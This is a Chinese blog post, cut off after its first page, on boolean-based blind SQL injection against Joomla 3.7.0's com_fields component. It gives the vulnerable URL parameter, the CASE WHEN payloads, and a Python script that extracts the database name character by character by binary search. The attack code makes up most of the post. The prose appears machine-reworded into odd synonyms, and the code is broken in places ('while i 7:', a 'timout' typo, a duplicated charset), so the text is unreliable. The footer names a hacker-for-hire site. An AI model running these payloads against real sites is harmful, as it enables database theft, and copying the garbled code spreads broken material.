浅谈SQL盲注测验办法解析与技巧

本文一切实战盲注比如,均来自Joomla! 3.7.0 – ‘com_fields’ SQL Injection。 因为篇幅有限,本文就不去分析缝隙原理,直接奉告payload刺进点,来展示盲注的用法(如有需求可自行寻觅各方大佬的...

本文一切实战盲注比如,均来自Joomla! 3.7.0 – ‘com_fields’ SQL Injection。
因为篇幅有限,本文就不去分析缝隙原理,直接奉告payload刺进点,来展示盲注的用法(如有需求可自行寻觅各方大佬的研讨文章)。
注入点:
http://localhost/Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=[payload]
BooleanBase
二分法
长处:
比遍历穷举快
缺陷:
简单被封ip
速度慢
原理解析

常用函数:
left(x,y) // 从x的最左边开端截取前y位
ascii(substr((sql),1,1))=num // 从sql句子回来的字符串的第一位开端,截取字符串的一长度,将其转换成ascii编码,然后与num比较
ord(mid((sql),1,1))=num // ord()==ascii()
regexp ‘^[a-z]‘ // 在某些情况下,用正则表达式仍是很便利的!
最终只需求将手艺测验的进程转换成python用代码自动化完成
实战
直接上代码吧
# -*- coding:UTF-8 -*-
import requests
import sys
# 准备工作
url = 'http://localhost/Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]='
string = '0123456789ABCDEFGHIGHLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
flag = ''
cookies = {'9e44025326f96e2d9dc1a2aab2dbe5b1' : 'l1p92lf44gi4s7jdf5q73l0bt5'}
response = requests.get('http://localhost/Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (ascii(substr((select database()),1,1)) > 78) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)',cookies=cookies,timeout=2)
print(response.text)
i = 1
while i 7:
    left = 0
    right = len(string) - 1
    mid = int((left + right) / 2)
    print('n')
    print(flag)
    print('Testing... ' + str(left) + ' ' + str(right))
    # 特殊情况
    if (right - left) == 1:
        payload = "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[left])))
        poc = url + payload
        print(poc)
        response = requests.get(poc,cookies=cookies,timout=2)
        if ('安全令牌无效') in response.text:
            flag = flag + string[right]
            print(flag)
            exit()
        else:
            flag = flag + string[left]
            print(flag)
            exit()
    # 二分法
    while 1:
        mid = int((left + right) / 2)
        payload = "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[mid])))
        poc = url + payload
        print(poc)
        response = requests.get(poc,cookies=cookies,timeout=2)
        # 右半部
        if ('安全令牌无效') in response.text:
            left = mid + 1
            print('left:'+str(left))
        # 左半部
        else:
            right = mid
            print('right:'+str(right))
        if (left == right):
            flag = flag + string[left]
            break
        # 特殊情况
        if (right - left) == 1:
            payload = "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[left])))

[1] [2] [3] [4]  黑客接单网

  • 发表于 2021-04-08 12:09
  • 阅读 ( 228 )
  • 分类:互联网

0 条评论

请先 登录 后评论
死的心都有
死的心都有

667 篇文章

你可能感兴趣的文章

相关问题